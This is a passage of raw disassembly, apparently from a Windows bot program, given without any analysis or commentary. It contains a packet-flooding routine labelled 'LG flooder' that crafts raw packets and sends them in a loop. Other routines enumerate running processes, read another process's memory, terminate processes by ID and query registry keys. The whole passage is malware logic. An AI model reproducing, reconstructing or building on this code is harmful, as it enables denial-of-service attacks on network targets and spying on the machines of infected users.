[ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41F018 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call dword_41709C ; Sleep mov eax, [ebp+var_1334] cmp dword ptr [eax+4], 0 jz short loc_405E22 jmp short loc_405E27 ; --------------------------------------------------------------------------- loc_405E22: ; CODE XREF: sub_4055E5+839j jmp loc_4057A9 ; --------------------------------------------------------------------------- loc_405E27: ; CODE XREF: sub_4055E5+1DDj ; sub_4055E5+83Bj push [ebp+var_1078] call sub_4053B1 pop ecx push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax locret_405E41: ; CODE XREF: sub_4055E5+59j ; sub_4055E5+94j ... leave retn 4 sub_4055E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E45 proc near ; CODE XREF: sub_40A9CF+8B2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_405E5D cmp [ebp+arg_8], 0 jz short loc_405E5D cmp [ebp+arg_14], 0 jnz short loc_405E62 loc_405E5D: ; CODE XREF: sub_405E45+Aj ; sub_405E45+10j jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E62: ; CODE XREF: sub_405E45+16j push 2B9h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405E7B jmp locret_405F65 ; --------------------------------------------------------------------------- loc_405E7B: ; CODE XREF: sub_405E45+2Fj push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 1A7h push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 2A7h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2ADh], eax push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B1h], eax push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov ecx, [ebp+var_4] mov [ecx+2B5h], eax mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 0EA60h jge short loc_405F0E mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_8], eax jmp short loc_405F15 ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_405E45+B9j mov [ebp+var_8], 0EA60h loc_405F15: ; CODE XREF: sub_405E45+C7j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+2B1h], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+2B1h], 64h jle short loc_405F3B mov eax, [ebp+var_4] mov eax, [eax+2B1h] mov [ebp+var_C], eax jmp short loc_405F42 ; --------------------------------------------------------------------------- loc_405F3B: ; CODE XREF: sub_405E45+E6j mov [ebp+var_C], 64h loc_405F42: ; CODE XREF: sub_405E45+F4j mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+2B1h], ecx push offset aLgFlooder ; "LG flooder" push 0 push [ebp+var_4] push offset sub_4055E5 call sub_4095A4 add esp, 10h locret_405F65: ; CODE XREF: sub_405E45:loc_405E5Dj ; sub_405E45+31j leave retn sub_405E45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F67 proc near ; CODE XREF: sub_4017AA+6Ep ; sub_401D6E+77p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 0 jnz short loc_405F8E push 1A3h push 0 push [ebp+arg_0] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_0] mov byte ptr [eax+198h], 1 jmp short loc_405FA1 ; --------------------------------------------------------------------------- loc_405F8E: ; CODE XREF: sub_405F67+7j push 1A3h push [ebp+arg_4] push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch loc_405FA1: ; CODE XREF: sub_405F67+25j pop ebp retn sub_405F67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FA3 proc near ; CODE XREF: sub_4167F1+D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_41E380 call sub_409C36 pop ecx push offset aPsapi_dll ; "psapi.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_405FC8 jmp short locret_40603F ; --------------------------------------------------------------------------- loc_405FC8: ; CODE XREF: sub_405FA3+21j push offset aEnumprocesses ; "EnumProcesses" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E37C, eax push offset aEnumprocessmod ; "EnumProcessModules" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E370, eax push offset aGetmodulefilen ; "GetModuleFileNameExA" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E374, eax push offset aGetmoduleinfor ; "GetModuleInformation" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41E378, eax cmp dword_41E37C, 0 jz short locret_40603F cmp dword_41E370, 0 jz short locret_40603F cmp dword_41E374, 0 jz short locret_40603F cmp dword_41E378, 0 jz short locret_40603F mov byte_41E39C, 1 locret_40603F: ; CODE XREF: sub_405FA3+23j ; sub_405FA3+78j ... leave retn sub_405FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406041 proc near ; CODE XREF: sub_401244:loc_40129Dp ; sub_40637C+29p var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_12B = byte ptr -12Bh var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E380 call sub_409C6C pop ecx movzx eax, byte_41E39C test eax, eax jnz short loc_406074 push offset dword_41E380 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E37C test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E370 test eax, eax jnz short loc_40621B push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E378 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DF00 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E374 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E380 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E380 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: sub_401244+4D2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40637C proc near ; DATA XREF: sub_4064BF+3Bo var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1A8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp+var_1AC], eax cmp [ebp+var_1AC], 0 jz loc_4064AD mov eax, [ebp+var_1AC] push dword ptr [eax] mov eax, [ebp+var_1A8] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h and [ebp+var_1B0], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: sub_40637C:loc_40649Cj mov eax, [ebp+var_1B0] inc eax mov [ebp+var_1B0], eax loc_4063F7: ; CODE XREF: sub_40637C+6Cj mov eax, [ebp+var_1AC] mov ecx, [ebp+var_1B0] cmp ecx, [eax] jge loc_4064A1 push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp+var_1B0] imul eax, 114h mov ecx, [ebp+var_1AC] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h mov eax, [ebp+var_1A8] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: sub_40637C+11Cj jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40637C+89j ; sub_40637C+11Ej push [ebp+var_1AC] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: sub_40637C+3Bj push [ebp+var_1A8] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40637C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset dword_418B44 push 0 push [ebp+var_4] push offset sub_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call dword_4170A0 ; TerminateProcess push [ebp+var_8] call dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: sub_403DF3+149p ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp 